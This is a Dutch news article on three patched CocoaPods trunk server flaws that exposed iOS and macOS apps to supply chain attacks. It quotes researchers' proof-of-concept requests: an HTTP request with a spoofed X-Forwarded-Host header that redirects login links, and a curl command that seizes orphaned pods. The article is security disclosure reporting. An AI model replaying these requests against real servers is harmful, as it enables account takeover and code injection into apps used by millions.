Drie miljoen iOS- en macOS-apps werden blootgesteld aan krachtige supply chain-aanvallen

Drie miljoen iOS- en macOS-apps werden blootgesteld aan krachtige supply chain-aanvallen

Aurich Lawson

Door kwetsbaarheden die tien jaar lang onontdekt bleven, zijn duizenden macOS- en iOS-apps kwetsbaar voor supply chain-aanvallen. Hackers hadden kwaadaardige code kunnen toevoegen die de veiligheid van miljoenen of miljarden mensen die deze hadden geïnstalleerd in gevaar bracht, zeiden onderzoekers maandag.

De kwetsbaarheden, die afgelopen oktober zijn gepatcht, bevonden zich in een ‘trunk’-server die werd gebruikt voor het beheer van CocoaPods, een opslagplaats voor open source Swift- en Objective-C-projecten waarvan ongeveer 3 miljoen macOS- en iOS-apps afhankelijk zijn. Wanneer ontwikkelaars wijzigingen aanbrengen in een van hun ‘pods’ (CocoaPods-jargon voor individuele codepakketten), nemen afhankelijke applicaties deze doorgaans automatisch op via applicatie-updates, meestal zonder de interactie die eindgebruikers nodig hebben.

Kwetsbaarheden in code-injectie

“Veel apps hebben toegang tot de meest gevoelige informatie van een gebruiker: creditcardgegevens, medische dossiers, privémateriaal en meer”, schreven onderzoekers van EVA Information Security, het bedrijf dat de kwetsbaarheid ontdekte. “Door code in deze applicaties te injecteren, kunnen aanvallers toegang krijgen tot deze informatie voor vrijwel elk denkbaar kwaadaardig doel: ransomware, fraude, chantage, bedrijfsspionage… Daarbij kan het bedrijven blootstellen aan aanzienlijke juridische aansprakelijkheid en reputatieschade.”

De drie door EVA ontdekte kwetsbaarheden komen voort uit een onveilig e-mailverificatiemechanisme dat wordt gebruikt om individuele pod-ontwikkelaars te authenticeren. De ontwikkelaar heeft het e-mailadres ingevoerd dat aan zijn pod is gekoppeld. De trunkserver reageerde door een verbinding naar het adres te sturen. Toen de persoon op de link klikte, kreeg hij toegang tot het account.

In één geval zou een aanvaller de URL in de link kunnen manipuleren om deze naar een server te verwijzen die onder de controle van de aanvaller staat. De server accepteerde een nep-XFH, een HTTP-header om de doelhost te identificeren die is opgegeven in het HTTP-verzoek. EVA-onderzoekers ontdekten dat ze vervalste XFH konden gebruiken om URL’s naar keuze te maken.

Normaal gesproken bevat de e-mail een geldige link die op de CocoaPods.org-server moet worden geplaatst, zoals:

Hoe een geldige bevestigingsmail eruit ziet.
Toename / Hoe een geldige bevestigingsmail eruit ziet.

EVA-informatiebeveiliging

Onderzoekers zouden in plaats daarvan de URL kunnen wijzigen zodat deze naar hun eigen server verwijst:

E-mailbevestiging nadat er mee is geknoeid.
Toename / E-mailbevestiging nadat er mee is geknoeid.

EVA-informatiebeveiliging

Deze kwetsbaarheid, bijgehouden als CVE-2024-38367, bevond zich in de session_controller-klasse van de broncode van de hoofdserver, die de sessievalidatie-URL verwerkt. De klasse gebruikt het session_controller.rb-mechanisme, dat prioriteit geeft aan de XFH boven de oorspronkelijke host-header. De exploitcode van de onderzoeker was:

POST /api/v1/sessions HTTP/1.1
Host: trunk.cococapods.org
Content-Type: application/json; charset=utf-8
Accept: application/json; charset=utf-8
User-Agent: CocoaPods/1.12.1
Accept-Encoding: gzip, deflate
X-Forwarded-Host: research.evasec.io
Content-Length: 78

{
  "email":"research@evasec.io",
  "name":"EVAResearch",
  "description":null
}

Een afzonderlijke kwetsbaarheid, bijgehouden als CVE-2024-38368, stelde aanvallers in staat de controle over modules over te nemen die door hun ontwikkelaars waren verlaten, maar nog steeds door applicaties worden gebruikt. De programmeerinterface waarmee ontwikkelaars hun pods kunnen terugwinnen, is bijna tien jaar na de eerste implementatie actief gebleven. De onderzoekers ontdekten dat iedereen die een interface met de verweesde capsule vond, deze kon activeren om er controle over te krijgen, zonder dat er een bewijs van eigendom nodig was.

Een eenvoudig krulverzoek met de naam van de pod was alles wat nodig was:

# Curl request for changing ownership of a targeted orphaned pod
curl -X 'POST' \
  -H 'Host: trunk.cocoapods.org' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-binary 'owner[name]=EVA&email=research@evasec.io'
  --data-binary 'pods[]=[TARGET_UNCLAIMED_POD]&button=SEND'
  'https://trunk.cocoapods.org/claims'

Een derde kwetsbaarheid, CVE-2024-38366, stelde aanvallers in staat code uit te voeren op een hostserver. De trunkserver vertrouwt op RFC822, geformaliseerd in 1982, om de uniciteit van geregistreerde e-mailadressen van ontwikkelaars te verifiëren en om te verifiëren dat ze het juiste formaat volgen. Een deel van het proces omvat het onderzoeken van de MX-record voor het domein van het e-mailadres, zoals geïmplementeerd door deze implementatie van RFC822.